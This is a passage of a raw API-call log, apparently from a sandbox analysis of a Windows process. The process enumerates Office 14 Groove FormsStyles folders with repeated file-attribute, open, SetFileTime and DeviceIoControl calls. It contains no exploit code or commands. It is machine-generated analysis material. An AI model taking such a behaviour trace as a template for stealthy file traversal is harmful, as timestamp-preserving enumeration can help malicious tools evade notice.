nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e6c4, lpOverlapped=0x0) returned 0 [0069.885] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d260 [0069.887] GetLastError () returned 0x12 [0069.887] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d2a0 [0069.887] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.888] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.888] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.889] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.889] GetLastError () returned 0x12 [0069.890] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.890] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.890] GetLastError () returned 0x12 [0069.890] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.890] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.890] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.890] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.891] GetLastError () returned 0x12 [0069.891] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.891] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.891] GetLastError () returned 0x12 [0069.891] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.892] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.892] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.893] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.893] GetLastError () returned 0x12 [0069.893] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.893] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.893] GetLastError () returned 0x12 [0069.893] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.893] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.893] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.893] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.894] GetLastError () returned 0x12 [0069.894] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.894] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.894] GetLastError () returned 0x12 [0069.894] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.894] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.895] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.895] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.895] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.895] GetLastError () returned 0x12 [0069.895] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.895] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.895] GetLastError () returned 0x12 [0069.895] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.896] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.896] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.896] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.897] GetLastError () returned 0x12 [0069.897] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.897] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.897] GetLastError () returned 0x12 [0069.897] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.897] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.897] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.898] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.898] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.898] GetLastError () returned 0x12 [0069.898] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.898] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.898] GetLastError () returned 0x12 [0069.898] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.901] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.901] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.901] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.901] GetLastError () returned 0x12 [0069.902] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.902] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.902] GetLastError () returned 0x12 [0069.902] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.902] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.902] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.902] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.902] GetLastError () returned 0x12 [0069.902] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.902] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.903] GetLastError () returned 0x12 [0069.903] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.904] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.904] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.904] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.904] GetLastError () returned 0x12 [0069.904] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.904] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.904] GetLastError () returned 0x12 [0069.904] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft 